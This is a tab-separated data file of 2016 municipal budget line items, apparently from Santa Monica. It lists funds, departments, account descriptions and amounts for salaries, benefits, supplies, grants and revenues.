20959	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	567220.0	PFA 2011A (PKG ST 6)	910.0	 Supplies and Expenses	2016	2668931	0	0	0	0	0	0	0	0	0	0	0	2668931
20960	BA	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	511000.0	PERMANENT EMPLOYEES		Salaries and Wages	2016	224240	0	0	0	0	0	0	0	0	0	0	0	224240
20961	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE ENFORCEMENT	555210.0	TRAINING	816.0	 Supplies and Expenses	2016	4378	0	0	0	0	0	0	0	0	0	0	0	4378
20962	BA	IS	6	Clean Bchs & Ocean Prcl Tx Fd	500	PUBLIC WORKS	402	ENGINEERING	533090.0	PROJECT MAINTENANCE	808.0	 Supplies and Expenses	2016	124603	0	0	0	0	0	0	0	0	0	0	0	124603
20963	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	403721.0	SERIAL INEBRIATE GRANT LEASING	610.0	Intergovernmental	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
20964	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	566555.0	SANTA MONICA ART WALK	810.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
20965	BA	IS	20	Miscellaneous Grants Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	562432.0	SHP-ST JOE	810.0	 Supplies and Expenses	2016	63432	0	0	0	0	0	0	0	0	0	0	0	63432
20966	BA	IS	19	CDBG Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	577720.0	CDBG REIMB-HUMAN SVC	810.0	 Supplies and Expenses	2016	201268	0	0	0	0	0	0	0	0	0	0	0	201268
20967	BA	IS	33	Airport Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511773.0	RETIREMENT - MISC EMPL	840.0	Salaries and Wages	2016	4751	0	0	0	0	0	0	0	0	0	0	0	4751
20968	BA	IS	54	Vehicle Management Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511773.0	RETIREMENT - MISC EMPL	840.0	Salaries and Wages	2016	11708	0	0	0	0	0	0	0	0	0	0	0	11708
20969	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	405351.0	PRIVATE HAULER ANN. PERMIT FEE	650.0	Charges for Service	2016	-27100	0	0	0	0	0	0	0	0	0	0	0	-27100
20970	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	544040.0	BOOKS / PAMPHLETS	806.0	 Supplies and Expenses	2016	651	0	0	0	0	0	0	0	0	0	0	0	651
20971	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	409080.0	ADULT SOCCER LEAGUE	612.0	Charges for Service	2016	-220000	0	0	0	0	0	0	0	0	0	0	0	-220000
20972	BA	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	511746.0	MED TRUST - MISC. EMPL		Salaries and Wages	2016	3540	0	0	0	0	0	0	0	0	0	0	0	3540
20973	BA	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	522120.0	UTILITIES - NATURAL GAS		 Supplies and Expenses	2016	6400	0	0	0	0	0	0	0	0	0	0	0	6400
20974	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511900.0	VACANCY SAVINGS	810.0	Salaries and Wages	2016	-14033	0	0	0	0	0	0	0	0	0	0	0	-14033
20975	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	247	WEB DEVELOPMENT	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2016	12936	0	0	0	0	0	0	0	0	0	0	0	12936
20976	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE ENFORCEMENT	511490.0	OVERTIME	816.0	Salaries and Wages	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
20977	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE ENFORCEMENT	522710.0	AUTO REIMBURSEMENT	816.0	 Supplies and Expenses	2016	1010	0	0	0	0	0	0	0	0	0	0	0	1010
20978	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE ENFORCEMENT	522900.0	MEMBERSHIPS AND DUES	816.0	 Supplies and Expenses	2016	1147	0	0	0	0	0	0	0	0	0	0	0	1147
20979	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE ENFORCEMENT	523000.0	VEHICLE MGMT FUND-MAINTENANCE	816.0	 Supplies and Expenses	2016	11979	0	0	0	0	0	0	0	0	0	0	0	11979
20980	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE ENFORCEMENT	544110.0	PRINTED FORMS	816.0	 Supplies and Expenses	2016	1325	0	0	0	0	0	0	0	0	0	0	0	1325
20981	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE ENFORCEMENT	511746.0	MED TRUST - MISC. EMPL	816.0	Salaries and Wages	2016	35190	0	0	0	0	0	0	0	0	0	0	0	35190
20982	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE ENFORCEMENT		UNEMPLOYMENT	816.0	Salaries and Wages	2016	8437	0	0	0	0	0	0	0	0	0	0	0	8437
20983	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE ENFORCEMENT	588500.0	MISCELLANEOUS EQUIPMENT	816.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
20984	BA	IS	20	Miscellaneous Grants Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	403720.0	HUD SERIAL INEBRIATE GRANT	610.0	Intergovernmental	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
20985	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	405352.0	PRIVATE HAULER PER TON PAYMENT	650.0	Charges for Service	2016	-141100	0	0	0	0	0	0	0	0	0	0	0	-141100
20986	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	569222.0	RUSKIN GROUP THEATRE	810.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
20987	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	569290.0	FIRE TRUCK MAINTENANCE REIMB	806.0	 Supplies and Expenses	2016	428268	0	0	0	0	0	0	0	0	0	0	0	428268
20988	BA	IS	20	Miscellaneous Grants Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	561147.0	ST. JOE HPSHP - HUD	810.0	 Supplies and Expenses	2016	21672	0	0	0	0	0	0	0	0	0	0	0	21672
20989	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	544470.0	GROUNDS MAINT EQ & SUPPLIES	808.0	 Supplies and Expenses	2016	9000	0	0	0	0	0	0	0	0	0	0	0	9000
20990	BA	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	511773.0	RETIREMENT - MISC. EMPL		Salaries and Wages	2016	47204	0	0	0	0	0	0	0	0	0	0	0	47204
20991	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	544390.0	OTHER COSTS	806.0	 Supplies and Expenses	2016	16217	0	0	0	0	0	0	0	0	0	0	0	16217
20992	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	408260.0	AHPP COMP MONITOR-ANNUAL FEE	622.0	Other	2016	-150000	0	0	0	0	0	0	0	0	0	0	0	-150000
20993	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	401231.0	URBAN MASTER PLAN COPIES	618.0	Rentals	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
20994	BA	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	511748.0	DENTAL		Salaries and Wages	2016	1809	0	0	0	0	0	0	0	0	0	0	0	1809
20995	BA	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	522180.0	BANK FEES		 Supplies and Expenses	2016	426	0	0	0	0	0	0	0	0	0	0	0	426
20996	BA	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	533020.0	GENERAL LIABILITY / AUTO		 Supplies and Expenses	2016	4535	0	0	0	0	0	0	0	0	0	0	0	4535
20997	BA	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	555060.0	PROFESSIONAL SERVICES		 Supplies and Expenses	2016	2500	0	0	0	0	0	0	0	0	0	0	0	2500
20998	BA	IS	1	General Fund	130	FINANCE	208	BUDGET DIVISION	522310.0	OFFICE SUPPLIES / EXPENSE	804.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
20999	BA	IS	1	General Fund	130	FINANCE	208	BUDGET DIVISION	511749.0	VISION	804.0	Salaries and Wages	2016	746	0	0	0	0	0	0	0	0	0	0	0	746
21000	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	570290.0	TRANSFER OUT-LOW/MOD FD.	910.0	 Supplies and Expenses	2016	1200000	0	0	0	0	0	0	0	0	0	0	0	1200000
21001	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE ENFORCEMENT	569340.0	EMERGENCY ACCOMODATIONS	816.0	 Supplies and Expenses	2016	5100	0	0	0	0	0	0	0	0	0	0	0	5100
21002	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	248	COMMUNITY BROADBAND	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2016	450640	0	0	0	0	0	0	0	0	0	0	0	450640
21003	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	248	COMMUNITY BROADBAND	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2016	76274	0	0	0	0	0	0	0	0	0	0	0	76274
21004	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	544390.0	OTHER COSTS	816.0	 Supplies and Expenses	2016	1000	0	0	0	0	0	0	0	0	0	0	0	1000
21005	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	555210.0	TRAINING	816.0	 Supplies and Expenses	2016	6500	0	0	0	0	0	0	0	0	0	0	0	6500
21006	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	577344.0	HAP-VOUCHER	816.0	 Supplies and Expenses	2016	12415648	0	0	0	0	0	0	0	0	0	0	0	12415648
21007	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2016	9878	0	0	0	0	0	0	0	0	0	0	0	9878
21008	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	522900.0	MEMBERSHIPS AND DUES	804.0	 Supplies and Expenses	2016	5100	0	0	0	0	0	0	0	0	0	0	0	5100
21009	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	511749.0	VISION	804.0	Salaries and Wages	2016	448	0	0	0	0	0	0	0	0	0	0	0	448
21010	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS		UNEMPLOYMENT	804.0	Salaries and Wages	2016	1953	0	0	0	0	0	0	0	0	0	0	0	1953
21011	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	522825.0	FOOD PURCHASES	804.0	 Supplies and Expenses	2016	1038	0	0	0	0	0	0	0	0	0	0	0	1038
21012	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	542210.0	PUBLICATIONS	804.0	 Supplies and Expenses	2016	191021	0	0	0	0	0	0	0	0	0	0	0	191021
21013	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	544390.0	OTHER COSTS	804.0	 Supplies and Expenses	2016	20033	0	0	0	0	0	0	0	0	0	0	0	20033
21014	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	522230.0	CREDIT CARD FEES	804.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
21015	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	571140.0	S+C HAP EXPANSION	816.0	 Supplies and Expenses	2016	194940	0	0	0	0	0	0	0	0	0	0	0	194940
21016	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	511900.0	VACANCY SAVINGS	804.0	Salaries and Wages	2016	-44949	0	0	0	0	0	0	0	0	0	0	0	-44949
21017	BA	IS	20	Miscellaneous Grants Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	562434.0	SHP-OPCC	810.0	 Supplies and Expenses	2016	112958	0	0	0	0	0	0	0	0	0	0	0	112958
21018	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	804.0	 Supplies and Expenses	2016	5000	0	0	0	0	0	0	0	0	0	0	0	5000
21019	BA	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT		YEAR-END CASH OUTS	840.0	Salaries and Wages	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
21020	BA	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	511010.0	ESTIMATED PAY RAISE	840.0	Salaries and Wages	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
21021	BA	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT		EAP		Salaries and Wages	2016	213	0	0	0	0	0	0	0	0	0	0	0	213
21022	BA	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT		DCAP		Salaries and Wages	2016	144	0	0	0	0	0	0	0	0	0	0	0	144
21023	BA	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	522210.0	UTILITIES - TELEPHONE		 Supplies and Expenses	2016	4691	0	0	0	0	0	0	0	0	0	0	0	4691
21024	BA	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	522320.0	METERED POSTAGE		 Supplies and Expenses	2016	639	0	0	0	0	0	0	0	0	0	0	0	639
21025	BA	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	522720.0	MILEAGE	820.0	 Supplies and Expenses	2016	100	0	0	0	0	0	0	0	0	0	0	0	100
21026	BA	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	533030.0	PROPERTY INSURANCE		 Supplies and Expenses	2016	292196	0	0	0	0	0	0	0	0	0	0	0	292196
21027	BA	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	544340.0	INDIRECT COST ALLOCATION		 Supplies and Expenses	2016	135059	0	0	0	0	0	0	0	0	0	0	0	135059
21028	BA	IS	1	General Fund	130	FINANCE	208	BUDGET DIVISION	555060.0	PROFESSIONAL SERVICES	804.0	 Supplies and Expenses	2016	20000	0	0	0	0	0	0	0	0	0	0	0	20000
21029	BA	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	555200.0	REIMBURSE ENGINEERING OFFICE	866.0	 Supplies and Expenses	2016	71543	0	0	0	0	0	0	0	0	0	0	0	71543
21030	BA	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	577300.0	PIER RESTORATION CORPORATION		 Supplies and Expenses	2016	513217	0	0	0	0	0	0	0	0	0	0	0	513217
21031	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	544170.0	UNIFORM / PROTECTIVE CLOTHING	806.0	 Supplies and Expenses	2016	312	0	0	0	0	0	0	0	0	0	0	0	312
21032	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	248	COMMUNITY BROADBAND	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2016	6778	0	0	0	0	0	0	0	0	0	0	0	6778
21033	BA	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	522825.0	FOOD PURCHASES		 Supplies and Expenses	2016	320	0	0	0	0	0	0	0	0	0	0	0	320
21034	BA	IS	1	General Fund	130	FINANCE	208	BUDGET DIVISION	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2016	573979	0	0	0	0	0	0	0	0	0	0	0	573979
21035	BA	IS	1	General Fund	130	FINANCE	208	BUDGET DIVISION	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2016	8850	0	0	0	0	0	0	0	0	0	0	0	8850
21036	BA	IS	1	General Fund	130	FINANCE	208	BUDGET DIVISION	511748.0	DENTAL	804.0	Salaries and Wages	2016	4940	0	0	0	0	0	0	0	0	0	0	0	4940
21037	BA	IS	1	General Fund	130	FINANCE	208	BUDGET DIVISION		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2016	-5860	0	0	0	0	0	0	0	0	0	0	0	-5860
21038	BA	IS	1	General Fund	130	FINANCE	208	BUDGET DIVISION		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2016	2572	0	0	0	0	0	0	0	0	0	0	0	2572
21039	BA	IS	1	General Fund	130	FINANCE	208	BUDGET DIVISION	552010.0	CUSTODIAL SERVICES	804.0	 Supplies and Expenses	2016	4702	0	0	0	0	0	0	0	0	0	0	0	4702
21040	BA	IS	15	Low/Mod Incme Housing Asset Fd	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	570290.0	TRANSFER FROM CITY	908.0	 Supplies and Expenses	2016	-1200000	0	0	0	0	0	0	0	0	0	0	0	-1200000
21041	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV		EMPLOYEE HEALTH CONTRIB-POA	806.0	Salaries and Wages	2016	-17986	0	0	0	0	0	0	0	0	0	0	0	-17986
21042	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	248	COMMUNITY BROADBAND	407780.0	FIBER OPTIC SERVICES	618.0	Rentals	2016	-2100000	0	0	0	0	0	0	0	0	0	0	0	-2100000
21043	BA	IS	1	General Fund	130	FINANCE	208	BUDGET DIVISION	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2016	97668	0	0	0	0	0	0	0	0	0	0	0	97668
21044	BA	IS	1	General Fund	130	FINANCE	208	BUDGET DIVISION	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2016	120733	0	0	0	0	0	0	0	0	0	0	0	120733
21045	BA	IS	1	General Fund	130	FINANCE	208	BUDGET DIVISION		DISABILITY INSURANCE	804.0	Salaries and Wages	2016	4099	0	0	0	0	0	0	0	0	0	0	0	4099
21046	BA	IS	1	General Fund	130	FINANCE	208	BUDGET DIVISION	522820.0	CONFERENCES/MEETINGS/TRAVEL	804.0	 Supplies and Expenses	2016	5924	0	0	0	0	0	0	0	0	0	0	0	5924
21047	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	248	COMMUNITY BROADBAND		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2016	-4576	0	0	0	0	0	0	0	0	0	0	0	-4576
21048	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	248	COMMUNITY BROADBAND	522210.0	UTILITIES - TELEPHONE	804.0	 Supplies and Expenses	2016	2500	0	0	0	0	0	0	0	0	0	0	0	2500
21049	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		UTIL-LIGHT/POWER-CITY HALL	808.0	 Supplies and Expenses	2016	177754	0	0	0	0	0	0	0	0	0	0	0	177754
21050	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	247	WEB DEVELOPMENT	555010.0	CONTRACTUAL SERVICES	804.0	 Supplies and Expenses	2016	26031	0	0	0	0	0	0	0	0	0	0	0	26031
21051	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS		UNEMPLOYMENT	808.0	Salaries and Wages	2016	2192	0	0	0	0	0	0	0	0	0	0	0	2192
21052	BA	IS	20	Miscellaneous Grants Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	562431.0	SHP-NEW DIRECTIONS	810.0	 Supplies and Expenses	2016	44605	0	0	0	0	0	0	0	0	0	0	0	44605
21053	BA	IS	11	Beach Recreation Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511773.0	RETIREMENT - MISC EMPL	810.0	Salaries and Wages	2016	11998	0	0	0	0	0	0	0	0	0	0	0	11998
21054	BA	IS	25	Water Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511773.0	RETIREMENT - MISC EMPL	840.0	Salaries and Wages	2016	21282	0	0	0	0	0	0	0	0	0	0	0	21282
21055	BA	IS	27	Resource Recovery & Recyc Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511773.0	RETIREMENT - MISC EMPL	840.0	Salaries and Wages	2016	30708	0	0	0	0	0	0	0	0	0	0	0	30708
21056	BA	IS	31	Wastewater Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511773.0	RETIREMENT - MISC EMPL	840.0	Salaries and Wages	2016	8693	0	0	0	0	0	0	0	0	0	0	0	8693
21057	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT GOV&COMUNITY RELATIONS	522549.0	ADVERTISING PAYMENTS (CCB)		 Supplies and Expenses	2016	269280	0	0	0	0	0	0	0	0	0	0	0	269280
21058	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	533210.0	BLDG OPER / CUST SUPPLIES	804.0	 Supplies and Expenses	2016	9000	0	0	0	0	0	0	0	0	0	0	0	9000
21059	BA	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	511743.0	MEDICAL - MISC. EMPL		Salaries and Wages	2016	32173	0	0	0	0	0	0	0	0	0	0	0	32173
21060	BA	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	511749.0	VISION		Salaries and Wages	2016	298	0	0	0	0	0	0	0	0	0	0	0	298
21061	BA	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT		UNEMPLOYMENT		Salaries and Wages	2016	1076	0	0	0	0	0	0	0	0	0	0	0	1076
21062	BA	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT		DISABILITY INSURANCE		Salaries and Wages	2016	1603	0	0	0	0	0	0	0	0	0	0	0	1603
21063	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	248	COMMUNITY BROADBAND	511749.0	VISION	804.0	Salaries and Wages	2016	597	0	0	0	0	0	0	0	0	0	0	0	597
21064	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	522990.0	STOCKROOM REPAIR PARTS & MATER	808.0	 Supplies and Expenses	2016	615226	0	0	0	0	0	0	0	0	0	0	0	615226
21065	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		UTIL-LIGHT/POWER-CITY YARD	808.0	 Supplies and Expenses	2016	65245	0	0	0	0	0	0	0	0	0	0	0	65245
21066	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		BLDG/STR MAINT-CITY HALL	808.0	 Supplies and Expenses	2016	56000	0	0	0	0	0	0	0	0	0	0	0	56000
21067	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		BLDG/STR MAINT-CITY YARDS	808.0	 Supplies and Expenses	2016	51000	0	0	0	0	0	0	0	0	0	0	0	51000
21068	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	544040.0	BOOKS / PAMPHLETS	816.0	 Supplies and Expenses	2016	52	0	0	0	0	0	0	0	0	0	0	0	52
21069	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	544010.0	SPEC DEPT SUPPLIES	808.0	 Supplies and Expenses	2016	114208	0	0	0	0	0	0	0	0	0	0	0	114208
21070	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	522310.0	OFFICE SUPPLIES / EXPENSES	808.0	 Supplies and Expenses	2016	13000	0	0	0	0	0	0	0	0	0	0	0	13000
21071	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	522820.0	CONFERENCES/MEETINGS/TRAVEL	808.0	 Supplies and Expenses	2016	3700	0	0	0	0	0	0	0	0	0	0	0	3700
21072	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	522900.0	MEMBERSHIPS AND DUES	808.0	 Supplies and Expenses	2016	740	0	0	0	0	0	0	0	0	0	0	0	740
21073	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	522160.0	TRANSFER STATION FEE	808.0	 Supplies and Expenses	2016	49200	0	0	0	0	0	0	0	0	0	0	0	49200
21074	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	555210.0	TRAINING	808.0	 Supplies and Expenses	2016	6930	0	0	0	0	0	0	0	0	0	0	0	6930
21075	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	555210.0	TRAINING	808.0	 Supplies and Expenses	2016	3570	0	0	0	0	0	0	0	0	0	0	0	3570
21076	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	522210.0	UTILITIES - TELEPHONE	808.0	 Supplies and Expenses	2016	33902	0	0	0	0	0	0	0	0	0	0	0	33902
21077	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	511900.0	VACANCY SAVINGS	816.0	Salaries and Wages	2016	-20230	0	0	0	0	0	0	0	0	0	0	0	-20230
21078	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	511900.0	VACANCY SAVINGS	812.0	Salaries and Wages	2016	-34479	0	0	0	0	0	0	0	0	0	0	0	-34479
21079	BA	IS	1	General Fund	410	LIBRARY	616	PUBLIC AND BRANCH SERVICES	511900.0	VACANCY SAVINGS	812.0	Salaries and Wages	2016	-77224	0	0	0	0	0	0	0	0	0	0	0	-77224
21080	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511900.0	VACANCY SAVINGS	810.0	Salaries and Wages	2016	-16584	0	0	0	0	0	0	0	0	0	0	0	-16584
21081	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511900.0	VACANCY SAVINGS	810.0	Salaries and Wages	2016	-107941	0	0	0	0	0	0	0	0	0	0	0	-107941
21082	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	247	WEB DEVELOPMENT	544010.0	SPECIAL DEPARTMENT SUPPLIES	804.0	 Supplies and Expenses	2016	2625	0	0	0	0	0	0	0	0	0	0	0	2625
21083	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	247	WEB DEVELOPMENT	579250.0	GEOGRAPHIC INFORMATION SYSTEM	804.0	 Supplies and Expenses	2016	31000	0	0	0	0	0	0	0	0	0	0	0	31000
21084	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	401780.0	PICNIC AREA PERMITS	612.0	Charges for Service	2016	-11000	0	0	0	0	0	0	0	0	0	0	0	-11000
21085	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT GOV&COMUNITY RELATIONS	522550.0	AD POSTINGS (CCB)		 Supplies and Expenses	2016	36720	0	0	0	0	0	0	0	0	0	0	0	36720
21086	BA	IS	77	Parking Authority Fund	130	FINANCE	236	PARKING AUTHORITY	404230.0	P/A BD FUND INT-DEP/INVEST	659.0	Investment Income	2016	-27000	0	0	0	0	0	0	0	0	0	0	0	-27000
21087	BA	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES		EMPLOYEE HEALTH CONTRIB-POA	806.0	Salaries and Wages	2016	-50963	0	0	0	0	0	0	0	0	0	0	0	-50963
21088	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	408330.0	LANDSCAPE & IRRIG ON-SITE INSP	612.0	Charges for Service	2016	-60000	0	0	0	0	0	0	0	0	0	0	0	-60000
21089	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	248	COMMUNITY BROADBAND	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2016	96054	0	0	0	0	0	0	0	0	0	0	0	96054
21090	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	248	COMMUNITY BROADBAND	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	804.0	 Supplies and Expenses	2016	26266	0	0	0	0	0	0	0	0	0	0	0	26266
